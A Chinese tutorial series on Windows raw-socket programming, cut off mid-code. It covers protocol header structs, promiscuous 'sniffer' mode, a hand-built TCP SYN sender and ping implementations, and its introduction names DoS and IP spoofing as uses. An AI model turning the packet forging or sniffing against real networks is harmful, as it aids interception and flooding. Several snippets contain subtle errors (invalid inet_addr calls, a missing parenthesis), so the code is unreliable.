raw socket
黑客之旅――原始套接字透析之前言
大多數程序員所接觸到的套接字(Socket)為兩類: (1)流式套接字(SOCK_STREAM):一種面向連接的Socket,針對于面向連接的TCP服務應用; (2)數據報式套接字(SOCK_DGRAM):一種無連接的Socket,對應于無連接的UDP服務應用。 從用戶的角度來看,SOCK_STREAM、SOCK_DGRAM這兩類套接字似乎的確涵蓋了TCP/IP應用的全部,因為基于TCP/IP的應用,從 協議棧的層次上講,在傳輸層的確只可能建立于TCP或UDP協議之上(圖1),而SOCK_STREAM、SOCK_DGRAM又分別對應于TCP和 UDP,所以幾乎所有的應用都可以用這兩類套接字實現。 圖1 TCP/IP協議棧
但是,當我們面對如下問題時,SOCK_STREAM、SOCK_DGRAM將顯得這樣無助: (1) 怎樣發送一個自定義的IP包? (2) 怎樣發送一個ICMP協議包? (3) 怎樣使本機進入雜糅模式,從而能夠進行網絡sniffer? (4) 怎樣分析所有經過網絡的包,而不管這樣包是否是發給自己的? (5) 怎樣偽裝本地的IP地址? 這使得我們必須面對另外一個深刻的主題――原始套接字(Raw Socket)。Raw Socket廣泛應用于高級網絡編程,也是一種廣泛的黑客手段。著名的網絡
sniffer、拒絕服務攻擊(DOS)、IP欺騙等都可以以Raw Socket實現。 Raw Socket與標準套接字(SOCK_STREAM、SOCK_DGRAM)的區別在于前者直接置"根"于操作系統網絡核心(Network Core),而SOCK_STREAM、SOCK_DGRAM則"懸浮"于TCP和UDP協議的外圍,如圖2所示: 圖2 Raw Socket與標準Socket
當我們使用Raw Socket的時候,可以完全自定義IP包,一切形式的包都可以"制造"出來。因此,本文事先必須對TCP/IP所涉及IP包結構進行必要的交待。 目前,IPv4的報頭結構為:
版本號(4)
包頭長(4)
服務類型(8)
數據包長度(16)
標識(16)
偏移量(16)
生存時間(8)
傳輸協議(8)
校驗和(16)
源地址(32)
目的地址(32)
選項(8)
.........
填充
對其進行數據結構封裝:
typedef struct _iphdr //定義IP報頭 { unsigned char h_lenver; //4位首部長度+4位IP版本號 unsigned char tos; //8位服務類型TOS
unsigned short total_len; //16位總長度(字節) unsigned short ident; //16位標識 unsigned short frag_and_flags; //3位標志位 unsigned char ttl; //8位生存時間 TTL unsigned char proto; //8位協議 (TCP, UDP 或其他) unsigned short checksum; //16位IP首部校驗和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址 } IP_HEADER;
或者將上述定義中的第一字節按位拆分:
typedef struct _iphdr //定義IP報頭 { unsigned char h_len : 4; //4位首部長度 unsigned char ver : 4; //4位IP版本號 unsigned char tos; unsigned short total_len; unsigned short ident; unsigned short frag_and_flags; unsigned char ttl; unsigned char proto; unsigned short checksum; unsigned int sourceIP; unsigned int destIP; } IP_HEADER;
更加嚴格地講,上述定義中h_len、ver字段的內存存放順序還與具體CPU的Endian有關,因此,更加嚴格的IP_HEADER可定義為:
typedef struct _iphdr //定義IP報頭 { #if defined(__LITTLE_ENDIAN_BITFIELD) unsigned char h_len : 4; //4位首部長度 unsigned char ver : 4; //4位IP版本號 #elif defined (__BIG_ENDIAN_BITFIELD) unsigned char ver : 4; //4位IP版本號 unsigned char h_len : 4; //4位首部長度 #endif unsigned char tos; unsigned short total_len; unsigned short ident; unsigned short frag_and_flags;
unsigned char ttl; unsigned char proto; unsigned short checksum; unsigned int sourceIP; unsigned int destIP; } IP_HEADER;
TCP報頭結構為:
源端口(16)
目的端口(16)
序列號(32)
確認號(32)
TCP偏移量(4)
保留(6)
標志(6)
窗口(16)
校驗和(16)
緊急(16)
選項(0或32)
數據(可變)
對應數據結構:
typedef struct psd_hdr //定義TCP偽報頭 { unsigned long saddr; //源地址 unsigned long daddr; //目的地址 char mbz; char ptcl; //協議類型 unsigned short tcpl; //TCP長度 }PSD_HEADER; typedef struct _tcphdr //定義TCP報頭 { unsigned short th_sport; //16位源端口 unsigned short th_dport; //16位目的端口 unsigned int th_seq; //32位序列號 unsigned int th_ack; //32位確認號 unsigned char th_lenres; //4位首部長度/4位保留字 unsigned char th_flag; //6位標志位 unsigned short th_win; //16位窗口大小 unsigned short th_sum; //16位校驗和 unsigned short th_urp; //16位緊急數據偏移量 } TCP_HEADER;
同樣地,TCP頭的定義也可以將位域拆分:
typedef struct _tcphdr { unsigned short th_sport; unsigned short th_dport; unsigned int th_seq; unsigned int th_ack; /*little-endian*/ unsigned short tcp_res1: 4, tcp_hlen: 4, tcp_fin: 1, tcp_syn: 1, tcp_rst: 1, tcp_psh: 1, tcp_ack: 1, tcp_urg: 1, tcp_res2: 2; unsigned short th_win; unsigned short th_sum; unsigned short th_urp; } TCP_HEADER;
UDP報頭為:
源端口(16)
目的端口(16)
報文長(16)
校驗和(16)
對應的數據結構為:
typedef struct _udphdr //定義UDP報頭 { unsigned short uh_sport;//16位源端口 unsigned short uh_dport;//16位目的端口 unsigned short uh_len;//16位長度 unsigned short uh_sum;//16位校驗和 } UDP_HEADER;
ICMP協議是網絡層中一個非常重要的協議,其全稱為Internet Control Message Protocol(因特網控制報文協議),ICMP協議彌補了IP的缺限,它使用IP協議進行信息傳遞,向數據包中的源端節點提供發生在網絡層的錯誤信息 反饋。ICMP報頭為:
類型(8)
代碼(8)
校驗和(16)
消息內容
常用的回送與或回送響應ICMP消息對應數據結構為:
typedef struct _icmphdr //定義ICMP報頭(回送與或回送響應) { unsigned char i_type;//8位類型
unsigned char i_code; //8位代碼 unsigned short i_cksum; //16位校驗和 unsigned short i_id; //識別號(一般用進程號作為識別號) unsigned short i_seq; //報文序列號 unsigned int timestamp;//時間戳 } ICMP_HEADER;
常用的ICMP報文包括ECHO-REQUEST(響應請求消息)、ECHO-REPLY(響應應答消息)、Destination Unreachable(目標不可到達消息)、Time Exceeded(超時消息)、Parameter Problems(參數錯誤消息)、Source Quenchs(源抑制消息)、Redirects(重定向消息)、Timestamps(時間戳消息)、Timestamp Replies(時間戳響應消息)、Address Masks(地址掩碼請求消息)、Address Mask Replies(地址掩碼響應消息)等,是Internet上十分重要的消息。后面章節中所涉及到的ping命令、ICMP拒絕服務攻擊、路由欺騙都與 ICMP協議息息相關。 另外,本系列文章中的部分源代碼參考了一些優秀程序員的開源項目,由于篇幅的關系我們不能一一列舉,在此一并表示感謝。
原始套接字透析之Raw Socket基礎
2006-11-12 08:00 作者: 宋寶華 出處: 天極開發 責任編輯:方舟
在進入Raw Socket多種強大的應用之前,我們先講解怎樣建立一個Raw Socket及怎樣用建立的Raw Socket發送和接收IP包。 建立Raw Socket 在Windows平臺上,為了使用Raw Socket,需先初始化WINSOCK:
// 啟動 Winsock WSAData wsaData; if (WSAStartup(MAKEWORD(2, 1), &wsaData) != 0) { cerr << "Failed to find Winsock 2.1 or better." << endl; return 1; }
MAKEWORD(2, 1)組成一個版本字段,2.1版,同樣的,MAKEWORD(2, 2)意味著2.2版。MAKEWORD本身定義為:
inline word MakeWord(const byte wHigh, const byte wLow) { return ((word)wHigh) << 8 | wLow; }
因此MAKEWORD(2, 1)實際等同于0x0201。同樣地,0x0101可等同于MAKEWORD(1, 1)。 與WSAStartup()的函數為WSACleanup(),在所有的socket都使用完后調用,如:
void sock_cleanup() { #ifdef WIN32 sockcount--; if (sockcount == 0) WSACleanup(); #endif }
接下來,定義一個Socket句柄:
SOCKET sd; // RAW Socket句柄
創建Socket并將句柄賦值給定義的sd,可以使用WSASocket()函數來完成,其原型為:
SOCKET WSASocket(int af, int type, int protocol, LPWSAPROTOCOL_INFO lpProtocolInfo, GROUP g, DWORD dwFlags);
其中的參數定義為: af:地址家族,一般為AF_INET,指代IPv4(The Internet Protocol version 4)地址家族。 type:套接字類型,如果創建原始套接字,應該使用SOCK_RAW; Protocol:協議類型,如IPPROTO_TCP、IPPROTO_UDP等; lpProtocolInfo :WSAPROTOCOL_INFO結構體指針; dwFlags:套接字屬性標志。 例如,下面的代碼定義ICMP協議類型的原始套接字:
sd = WSASocket(AF_INET, SOCK_RAW, IPPROTO_ICMP, 0, 0, 0);
創建Socket也可以使用socket()函數:
SOCKET WSAAPI socket( int af, int type, int protocol);
參數的定義與WSASocket()函數相同。 為了使用socket()函數創建的Socket,還需要將這個Socket與sockaddr綁定:
SOCKADDR_IN addr_in; addr_in.sin_family = AF_INET; addr_in.sin_port = INADDR_ANY; addr_in.sin_addr.S_un.S_addr = GetLocalIP(); nRetCode = bind(sd, (struct sockaddr*) &addr_in, sizeof(addr_in));
if (SOCKET_ERROR == nRetCode) { printf("BIND Error!%d/n", WSAGetLastError()); }
其中使用的struct sockaddr_in(即SOCKADDR_IN)為:
struct sockaddr_in { unsigned short sin_family; unsigned short int sin_port; struct in_addr sin_addr; unsigned char sin_zero[8]; }
而bind()函數第二個參數的struct sockaddr類型定義為:
struct sockaddr { unisgned short as_family; char sa_data[14]; };
實際上,bind()函數采用struct sockaddr是為了考慮兼容性,最終struct sockaddr和struct sockaddr_in的內存占用是等同的。struct sockaddr_in中的struct in_addr成員占用4個字節,為32位的IP地址,定義為:
typedef struct in_addr { union { struct { u_char s_b1, s_b2, s_b3, s_b4; } S_un_b; struct { u_short s_w1, s_w2; } S_un_w; u_long S_addr; } S_un; } IN_ADDR, *PIN_ADDR, FAR *LPIN_ADDR;
把32位的IP地址定義為上述聯合體將使用戶可以以字節、半字或字方式讀寫同一個IP地址。同志們,注意了,這個技巧在許多軟件開發中定義數據結構時被廣泛采用。 為了控制包的發送方式,我們可能會用到如下的這個十分重要的函數來設置套接字選項:
int setsockopt( SOCKET s, //套接字句柄 int level, //選項level,如SOL_SOCKET int optname, //選項名,如SO_BROADCAST const char* optval, //選項值buffer指針 int optlen //選項buffer長度 );
例如,當level為SOL_SOCKET時,我們可以設置布爾型選項SO_BROADCAST從而控制套接字是否傳送和接收廣播消息。 下面的代碼通過設置IPPROTO_IP level的IP_HDRINCL選項為TRUE從而使能程序員親自處理IP包報頭:
//設置 IP 頭操作選項 BOOL flag = TRUE; setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char*) &flag, sizeof(flag);
下面的函數用于控制套接字:
int ioctlsocket( SOCKET s, long cmd, //命令 u_long* argp //命令參數指針 );
如下面的代碼讓socket接收所有報文(sniffer模式):
u_long iMode = 1; ioctlsocket(sd, SIO_RCVALL, & iMode); //讓 sockRaw 接受所有的數據
Raw Socket發送報文 發送報文的函數為:
int sendto( SOCKET s, //套接字句柄 const char* buf, //發送緩沖區 int len, //要發送的字節數 int flags, //方式標志 const struct sockaddr* to, //目標地址 int tolen //目標地址長度 );
或
int send( SOCKET s, //已經建立連接的套接字句柄 const char* buf, int len, int flags );
send()函數的第1個參數只能是一個已經建立連接的套接字句柄,所以這個函數就不再需要目標地址參數輸入。 函數的返回值為實際發送的字節數,如果返回SOCKET_ERROR,可以通過WSAGetLastError()獲得錯誤原因。請看下面的示例:
int bwrote = sendto(sd, (char*)send_buf, packet_size, 0, (sockaddr*) &dest, sizeof(dest)); if (bwrote == SOCKET_ERROR) { //…發送失敗 if(WSAGetLastError()==…) { //… } return - 1; } else if (bwrote < packet_size) { //…發送字節 < 欲發送字節 }
Raw Socket接收報文 接收報文的函數為:
int recvfrom( SOCKET s, //套接字句柄 char* buf, //接收緩沖區 int len, //緩沖區字節數 int flags, //方式標志 struct sockaddr* from, //源地址 int* fromlen );
或
int recv( SOCKET s, //已經建立連接的套接字句柄 char* buf, int len, int flags );
recv()函數的第1個參數只能是一個已經建立連接的套接字句柄,所以這個函數就不再需要源地址參數輸入。 函數的返回值為實際接收的字節數,如果返回SOCKET_ERROR,我們可以通過WSAGetLastError()函數獲得錯誤原因。請看下面的示例:
int bread = recvfrom(sd, (char*)recv_buf, packet_size + sizeof(IPHeader), 0, (sockaddr*) &source, &fromlen); if (bread == SOCKET_ERROR) { //…讀失敗 if(WSAGetLastError()==WSAEMSGSIZE) { //…接收buffer太小 } return - 1; }
原始套接字按如下規則接收報文:若接收的報文中協議類型和定義的原始套接字匹配,那么,接收的所有數據拷貝入套接字中;如果套接字綁定了本地地址,那么 只有接收數據IP頭中對應的目的地址等于本地地址,接收到的數據才拷貝到套接字中;如果套接字定義了遠端地址,那么,只有接收數據IP頭中對應的源地址與 遠端地址匹配,接收的數據才拷貝到套接字中。
建立報文 在利用Raw Socket發送報文時,報文的IP頭、TCP頭、UDP頭等需要程序員親自賦值,從而達到極大的靈活性。下面的程序利用Raw Socket發送TCP報文,并完全手工建立報頭:
int sendTcp(unsigned short desPort, unsigned long desIP) { WSADATA WSAData; SOCKET sock; SOCKADDR_IN addr_in; IPHEADER ipHeader; TCPHEADER tcpHeader; PSDHEADER psdHeader; char szSendBuf[MAX_LEN] = { 0 }; BOOL flag; int rect, nTimeOver; if (WSAStartup(MAKEWORD(2, 2), &WSAData) != 0) { printf("WSAStartup Error!/n"); return false; } if ((sock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET) { printf("Socket Setup Error!/n"); return false; } flag = true; if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*) &flag, sizeof(flag)) ==SOCKET_ERROR) { printf("setsockopt IP_HDRINCL error!/n"); return false; } nTimeOver = 1000; if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*) &nTimeOver, sizeof (nTimeOver)) == SOCKET_ERROR) {
printf("setsockopt SO_SNDTIMEO error!/n"); return false; } addr_in.sin_family = AF_INET; addr_in.sin_port = htons(desPort); addr_in.sin_addr.S_un.S_addr = inet_addr(desIP); //填充IP報頭 ipHeader.h_verlen = (4 << 4 | sizeof(ipHeader) / sizeof(unsigned long)); // ipHeader.tos=0; ipHeader.total_len = htons(sizeof(ipHeader) + sizeof(tcpHeader)); ipHeader.ident = 1; ipHeader.frag_and_flags = 0; ipHeader.ttl = 128; ipHeader.proto = IPPROTO_TCP; ipHeader.checksum = 0; ipHeader.sourceIP = inet_addr("localhost"); ipHeader.destIP = desIP; //填充TCP報頭 tcpHeader.th_dport = htons(desPort); tcpHeader.th_sport = htons(SOURCE_PORT); //源端口號 tcpHeader.th_seq = htonl(0x12345678); tcpHeader.th_ack = 0; tcpHeader.th_lenres = (sizeof(tcpHeader) / 4 << 4 | 0); tcpHeader.th_flag = 2; //標志位探測,2是SYN tcpHeader.th_win = htons(512); tcpHeader.th_urp = 0; tcpHeader.th_sum = 0; psdHeader.saddr = ipHeader.sourceIP; psdHeader.daddr = ipHeader.destIP; psdHeader.mbz = 0; psdHeader.ptcl = IPPROTO_TCP; psdHeader.tcpl = htons(sizeof(tcpHeader)); //計算校驗和 memcpy(szSendBuf, &psdHeader, sizeof(psdHeader)); memcpy(szSendBuf + sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader)); tcpHeader.th_sum = checksum((unsigned short*)szSendBuf, sizeof(psdHeader) + sizeof
(tcpHeader)); memcpy(szSendBuf, &ipHeader, sizeof(ipHeader)); memcpy(szSendBuf + sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader)); memset(szSendBuf + sizeof(ipHeader) + sizeof(tcpHeader), 0, 4); ipHeader.checksum = checksum((unsigned short*)szSendBuf, sizeof(ipHeader) + sizeof (tcpHeader)); memcpy(szSendBuf, &ipHeader, sizeof(ipHeader)); rect = sendto(sock, szSendBuf, sizeof(ipHeader) + sizeof(tcpHeader), 0, (struct sockaddr*) &addr_in, sizeof(addr_in)); if (rect == SOCKET_ERROR) { printf("send error!:%d/n", WSAGetLastError()); return false; } else printf("send ok!/n"); closesocket(sock); WSACleanup(); return rect; }
原始套接字透析之實現Ping
2006-11-13 07:00 作者: 宋寶華 出處: 天極開發 責任編輯:方舟
極其常用的Ping命令通過向計算機發送ICMP Echo請求報文并且監聽回應報文的返回,以校驗與遠程計算機或本地計算機的連接。 使用ICMP.DLL實現Ping 在Windows平臺編程中實現Ping的一個最簡單方法是調用ICMP.DLL這個動態鏈接庫,引用ICMP.DLL中的三個函數即可:
HANDLE IcmpCreateFile(void);
這個函數打開個ICMP Echo請求能使用的句柄;
BOOL IcmpCloseHandle(HANDLE IcmpHandle);
這個函數關閉由IcmpCreateFile打開的句柄;
DWORD IcmpSendEcho( HANDLE IcmpHandle, // IcmpCreateFile打開的句柄 IPAddr DestinationAddress, //Echo請求的目的地址 LPVOID RequestData, //發送數據buffer WORD RequestSize, //發送數據長度 PIP_OPTION_INFORMATION RequestOptions, // IP_OPTION_INFORMATION指針 LPVOID ReplyBuffer, //接收回復buffer DWORD ReplySize, //接收回復buffer大小 DWORD Timeout //等待超時 );
這個函數發送Echo請求并等待回復或超時。 把這個函數和相關數據封裝成一個類CPing,CPing類的頭文件如下:
class CPing { public: CPing(); ~CPing(); BOOL Ping(char* strHost); private:
// ICMP.DLL 導出函數指針 HANDLE (WINAPI *pIcmpCreateFile)(VOID); BOOL (WINAPI *pIcmpCloseHandle)(HANDLE); DWORD (WINAPI *pIcmpSendEcho)(HANDLE,DWORD,LPVOID,WORD,PIPINFO,LPVOID,DWORD,DWORD); HANDLE hndlIcmp; // 加載ICMP.DLL庫句柄 BOOL bValid; //是否構造(獲得ICMP.DLL導出函數指針和初始化WinSock)成功 };
CPing類的構造函數獲得ICMP.DLL中導出函數的指針并初始化WinSock:
CPing::CPing() { bValid = FALSE; WSADATA wsaData; int nRet; // 動態加載ICMP.DLL hndlIcmp = LoadLibrary("ICMP.DLL"); if (hndlIcmp == NULL) { ::MessageBox(NULL, "Could not load ICMP.DLL", "Error:", MB_OK); return; } // 獲得ICMP.DLL中導出函數指針 pIcmpCreateFile = (HANDLE (WINAPI *)(void))GetProcAddress((HMODULE)hndlIcmp,"IcmpCreateFile"); pIcmpCloseHandle = (BOOL (WINAPI *)(HANDLE))GetProcAddress((HMODULE)hndlIcmp,"IcmpCloseHandle"); pIcmpSendEcho = (DWORD (WINAPI *)(HANDLE,DWORD,LPVOID,WORD,PIPINFO,LPVOID,DWORD,DWORD)) GetProcAddress((HMODULE)hndlIcmp,"IcmpSendEcho"); // 檢查所有的指針 if (pIcmpCreateFile == NULL || pIcmpCloseHandle == NULL ||pIcmpSendEcho == NULL) { ::MessageBox(NULL, "Error loading ICMP.DLL", "Error:", MB_OK); FreeLibrary((HMODULE)hndlIcmp); return; } // 初始化WinSock
nRet = WSAStartup(0x0101, &wsaData ); if (nRet) { ::MessageBox(NULL, "WSAStartup() error:", "Error:", MB_OK); WSACleanup(); FreeLibrary((HMODULE)hndlIcmp); return; } // 檢查WinSock的版本 if (0x0101 != wsaData.wVersion) { ::MessageBox(NULL, "No WinSock version 1.1 support found", "Error:", MB_OK); WSACleanup(); FreeLibrary((HMODULE)hndlIcmp); return; } bValid = TRUE; }
CPing類的析構函數完成相反的動作:
CPing::~CPing() { WSACleanup(); FreeLibrary((HMODULE)hndlIcmp); }
CPing類的Ping函數是最核心的函數,實現真正的ping操作:
int CPing::Ping(char *strHost) { struct in_addr iaDest; // Internet地址結構體 LPHOSTENT pHost; // 主機入口結構體指針 DWORD *dwAddress; // IP地址 IPINFO ipInfo; // IP選項結構體 ICMPECHO icmpEcho; // ICMP Echo回復buffer HANDLE hndlFile; // IcmpCreateFile函數打開的句柄 if (!bValid) { return FALSE; }
//使用inet_addr()以判定ping目標為地址還是名稱 iaDest.s_addr = inet_addr(strHost); if (iaDest.s_addr == INADDR_NONE) pHost = gethostbyname(strHost); else pHost = gethostbyaddr((const char*) &iaDest, sizeof(struct in_addr),AF_INET); if (pHost == NULL) { return FALSE; } // 拷貝IP地址 dwAddress = (DWORD*)(*pHost->h_addr_list); // 獲得ICMP Echo句柄 hndlFile = pIcmpCreateFile(); // 設置發送信息缺省值 ipInfo.Ttl = 255; ipInfo.Tos = 0; ipInfo.IPFlags = 0; ipInfo.OptSize = 0; ipInfo.Options = NULL; icmpEcho.Status = 0; // 請求一個ICMP echo pIcmpSendEcho(hndlFile, *dwAddress, NULL, 0, &ipInfo, &icmpEcho, sizeof(struct tagICMPECHO), 1000); //設置結果 iaDest.s_addr = icmpEcho.Source; if (icmpEcho.Status) { return FALSE; } // 關閉ICMP Echo句柄 pIcmpCloseHandle(hndlFile); return TRUE; }
其中所使用的相關結構體定義為:
typedef struct tagIPINFO { u_char Ttl; // TTL u_char Tos; // 服務類型 u_char IPFlags; // IP標志 u_char OptSize; // 可選數據大小 u_char *Options; // 可選數據buffer } IPINFO, *PIPINFO; typedef struct tagICMPECHO { u_long Source; // 源地址 u_long Status; // IP狀態 u_long RTTime; // RTT u_short DataSize; // 回復數據大小 u_short Reserved; // 保留 void *pData; // 回復數據buffer IPINFO ipInfo; // 回復IP選項 } ICMPECHO, *PICMPECHO;
使用Raw Socket實現Ping 僅僅采用ICMP.DLL并不能完全實現ICMP靈活多變的各類報文,只有使用Raw Socket才是ICMP的終極解決之道。 使用Raw Socket發送ICMP報文前,我們要完全依靠自己的代碼組裝報文:
//功能:初始化ICMP的報頭, 給data部分填充數據, 計算校驗和 void init_ping_packet(ICMPHeader *icmp_hdr, int packet_size, int seq_no) { //設置ICMP報頭字段 icmp_hdr->type = ICMP_ECHO_REQUEST; icmp_hdr->code = 0; icmp_hdr->checksum = 0; icmp_hdr->id = (unsigned short)GetCurrentProcessId(); icmp_hdr->seq = seq_no; icmp_hdr->timestamp = GetTickCount(); // 填充data域 const unsigned long int deadmeat = 0xDEADBEEF; char *datapart = (char*)icmp_hdr + sizeof(ICMPHeader); int bytes_left = packet_size - sizeof(ICMPHeader); while (bytes_left > 0) {
memcpy(datapart, &deadmeat, min(int(sizeof(deadmeat)), bytes_left)); bytes_left -= sizeof(deadmeat); datapart += sizeof(deadmeat); } // 計算校驗和 icmp_hdr->checksum = ip_checksum((unsigned short*)icmp_hdr, packet_size); }
計算校驗和(Checksum)的函數為:
//功能:計算ICMP包的校驗和 unsigned short ip_checksum(unsigned short *buffer, int size) { unsigned long cksum = 0; // 將所有的16數相加 while (size > 1) { cksum += *buffer++; size -= sizeof(unsigned short); } if (size) //加上最后一個BYTE { cksum += *(unsigned char*)buffer; } //和的前16位和后16位相加 cksum = (cksum >> 16) + (cksum &0xffff); cksum += (cksum >> 16); return (unsigned short)(~cksum); }
在真正發送Ping報文前,需要先初始化Raw Socket:
// 功能:初始化RAW Socket, 設置ttl, 初始化目標地址 // 返回值:<0 失敗 int setup_for_ping(char *host, int ttl, SOCKET &sd, sockaddr_in &dest) {
// 創建原始套接字 sd = WSASocket(AF_INET, SOCK_RAW, IPPROTO_ICMP, 0, 0, 0); if (sd == INVALID_SOCKET) { cerr << "Failed to create raw socket: " << WSAGetLastError() << endl; return - 1; } if (setsockopt(sd, IPPROTO_IP, IP_TTL, (const char*) &ttl, sizeof(ttl)) ==SOCKET_ERROR) { cerr << "TTL setsockopt failed: " << WSAGetLastError() << endl; return - 1; } // 初始化目標主機信息塊 memset(&dest, 0, sizeof(dest)); // 將第1個參數轉換為目標IP地址 unsigned int addr = inet_addr(host); if (addr != INADDR_NONE) { // 為IP地址 dest.sin_addr.s_addr = addr; dest.sin_family = AF_INET; } else { // 非IP地址,進行主機名和IP地址的轉換 hostent *hp = gethostbyname(host); if (hp != 0) { // 查找主機名對應的IP地址 memcpy(&(dest.sin_addr), hp->h_addr, hp->h_length); dest.sin_family = hp->h_addrtype; } else { // 不能識別的主機名 cerr << "Failed to resolve " << host << endl; return - 1; }
} return 0; }
下面可以利用Raw Socket發送生成的ICMP報文:
//功能:發送生成的ICMP包 //返回值:<0 發送失敗 int send_ping(SOCKET sd, const sockaddr_in &dest, ICMPHeader *send_buf, int packet_size) { // 發送send_buf緩沖區中的報文 cout << "Sending " << packet_size << " bytes to " << inet_ntoa(dest.sin_addr) << "..." << flush; int bwrote = sendto(sd, (char*)send_buf, packet_size, 0, (sockaddr*) &dest,sizeof(dest)); if (bwrote == SOCKET_ERROR) { cerr << "send failed: " << WSAGetLastError() << endl; return - 1; } else if (bwrote < packet_size) { cout << "sent " << bwrote << " bytes..." << flush; } return 0; }
發送Ping報文后,我們需要接收Ping回復ICMP報文:
//功能:接收Ping回復 //返回值: <0 接收失敗 int recv_ping(SOCKET sd, sockaddr_in &source, IPHeader *recv_buf, int packet_size) { // 等待Ping回復 int fromlen = sizeof(source); int bread = recvfrom(sd, (char*)recv_buf, packet_size + sizeof(IPHeader), 0,(sockaddr*) &source, &fromlen); if (bread == SOCKET_ERROR) { cerr << "read failed: ";
if (WSAGetLastError() == WSAEMSGSIZE) { cerr << "buffer too small" << endl; } else { cerr << "error #" << WSAGetLastError() << endl; } return - 1; } return 0; }
并使用如下函數對接收到的報文進行解析:
// 功能:解析接收到的ICMP報文 // 返回值: -2忽略, -1失敗, 0 成功 int decode_reply(IPHeader *reply, int bytes, sockaddr_in *from) { // 偏移到ICMP報頭 unsigned short header_len = reply->h_len *4; ICMPHeader *icmphdr = (ICMPHeader*)((char*)reply + header_len); // 報文太短 if (bytes < header_len + ICMP_MIN) { cerr << "too few bytes from " << inet_ntoa(from->sin_addr) << endl; return - 1; } // 解析回復報文類型 else if (icmphdr->type != ICMP_ECHO_REPLY) { //非正常回復 if (icmphdr->type != ICMP_TTL_EXPIRE) { //ttl減為零 if (icmphdr->type == ICMP_DEST_UNREACH) { //主機不可達 cerr << "Destination unreachable" << endl; } else
{ //非法的ICMP包類型 cerr << "Unknown ICMP packet type " << int(icmphdr->type) <<" received" << endl; } return - 1; } } else if (icmphdr->id != (unsigned short)GetCurrentProcessId()) { //不是本進程發的包, 可能是同機的其它ping進程發的 return - 2; } // 指出往返時間TTL int nHops = int(256-reply->ttl); if (nHops == 192) { // TTL came back 64, so ping was probably to a host on the // LAN -- call it a single hop. nHops = 1; } else if (nHops == 128) { // Probably localhost nHops = 0; } // 輸出信息 cout << endl << bytes << " bytes from " << inet_ntoa(from->sin_addr) <<", icmp_seq " << icmphdr->seq << ", "; if (icmphdr->type == ICMP_TTL_EXPIRE) { cout << "TTL expired." << endl; } else { cout << nHops << " hop" << (nHops == 1 ? "" : "s"); cout << ", time: " << (GetTickCount() - icmphdr->timestamp) << " ms." <<endl; } return 0; }
為了在Visual C++中更加方便地使用發送和接收ICMP報文,我們可以使用由Jay Wheeler編寫的CIcmp(An ICMP Class For MFC)類,在著名的開發網站的如下地址可以下載。 這個類的簡要框架如下:
class CIcmp: public CSocket { // Attributes public: BOOL OpenNewSocket(HWND hWnd, unsigned int NotificationMessage, long NotifyEvents); BOOL OpenNewSocket(HWND hWnd, unsigned int NotificationMessage, long NotifyEvents, int AFamily, int AType, int AProtocol); int CloseIcmpSocket(void); BOOL Connect(int ReceiveTimeout, int SendTimeout); BOOL Connect(LPINT ReceiveTimeout, LPINT SendTimeout, int AFamily, int AType, int AProtocol); int SetTTL(int TTL); int SetAsynchNotification(HWND hWnd, unsigned int Message, long Events); int Receive(LPSTR pIcmpBuffer, int IcmpBufferSize); unsigned long GetIPAddress(LPSTR iHostName); int Ping(LPSTR pIcmpBuffer, int IcmpBufferSize); unsigned short IcmpChecksum(unsigned short FAR *lpBuf, int Len); void DisplayError(CString ErrorType, CString FunctionName); // Operations public: CIcmp(void); CIcmp(CIcmp ©); ~CIcmp(void); public: // I/O Buffer Pointers LPIcmpHeader pIcmpHeader; LPIpHeader pIpHeader; SOCKET icmpSocket; SOCKADDR_IN icmpSockAddr; SOCKADDR_IN rcvSockAddr; DWORD icmpRoundTripTime; DWORD icmpPingSentAt; DWORD icmpPingReceivedAt;
int icmpRcvLen; int icmpHops; int icmpMaxHops; int icmpCurSeq; int icmpCurId; int icmpPingTimer; int icmpSocketError; int icmpSocketErrorMod; unsigned long icmpHostAddress; protected: };
初始化網絡連接的函數:
BOOL CIcmp::Connect(LPINT ReceiveTimeout, LPINT SendTimeout, int AFamily, int AType, int AProtocol) { int Result; icmpSocket = NULL; icmpSocket = socket(AFamily, AType, AProtocol); if (icmpSocket == INVALID_SOCKET) { icmpSocketError = WSAGetLastError(); icmpSocketErrorMod = 1; return FALSE; } // // Set receive timeout // Result = setsockopt(icmpSocket, SOL_SOCKET, SO_RCVTIMEO, (char*)ReceiveTimeout, sizeof(int)); if (Result == SOCKET_ERROR) { icmpSocketError = WSAGetLastError(); icmpSocketErrorMod = 2; closesocket(icmpSocket); icmpSocket = INVALID_SOCKET; return FALSE; }
// // Set send timeout // Result = setsockopt(icmpSocket, SOL_SOCKET, SO_SNDTIMEO, (char*)SendTimeout,sizeof(int)); if (Result == SOCKET_ERROR) { icmpSocketError = WSAGetLastError(); icmpSocketErrorMod = 3; closesocket(icmpSocket); icmpSocket = INVALID_SOCKET; return FALSE; } icmpCurSeq = 0; icmpCurId = (USHORT)GetCurrentProcessId(); icmpHops = 0; return TRUE; }
接收的函數:
int CIcmp::Receive(LPSTR pIcmpBuffer, int IcmpBufferSize) { LPSOCKADDR pRcvSockAddr = (LPSOCKADDR)&rcvSockAddr; int Result; int RcvIpHdrLen; icmpPingReceivedAt = GetTickCount(); icmpCurId = 0; rcvSockAddr.sin_family = AF_INET; rcvSockAddr.sin_addr.s_addr = INADDR_ANY; rcvSockAddr.sin_port = 0; RcvIpHdrLen = sizeof rcvSockAddr; Result = recvfrom (icmpSocket, pIcmpBuffer, IcmpBufferSize, 0, pRcvSockAddr,
